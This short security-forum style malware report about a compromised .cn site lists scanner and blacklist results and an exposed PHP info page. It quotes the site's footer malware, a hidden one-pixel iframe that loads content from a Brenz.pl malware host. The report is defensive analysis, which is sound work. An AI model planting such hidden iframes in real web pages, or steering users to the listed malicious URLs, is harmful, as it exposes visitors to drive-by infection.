See: 7 detect: https://www.virustotal.com/nl/url/9e83344b8618a9fa74e7e5aab4e15ed41db965e565b36adf098cca985437f0a3/analysis/1445207688/ (good overall coverage).
See: http://www.domxssscanner.com/scan?url=http%3A%2F%2Fwrmzxdckh-pe.cn%2Fl.php%3Fact%3DFunction
In Chinese it says inside the code: All functions are being supported by the system as shown.
Also consider: http://www.domxssscanner.com/scan?url=http%3A%2F%2Fwrmzxdckh-pe.cn%2F%2Fl.php%3Fact%3Dphpinfo (This is part of excessive PHP info proliferation, that should not be there).
Footer malware →
iframe style="height:1px" src="-http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe>
Exploit:HTML/Iframe.RefGen is dangerous and should be removed instantly from the OS.
→ Google Safebrosing’s Warning: http://safebrowsing.clients.google.com/safebrowsing/diagnostic?site=wrmzxdckh-pe.cn
Yandex warning (Sophos): wrmzxdckh-pe.cn
contains malicious code
According to Yandex, the site contains malicious code that may infect your computer with a virus or get access to your personal information. Hidden Iframes. Details: http://sucuri.net/malware/entry/MW:IFRAME:HD202?v04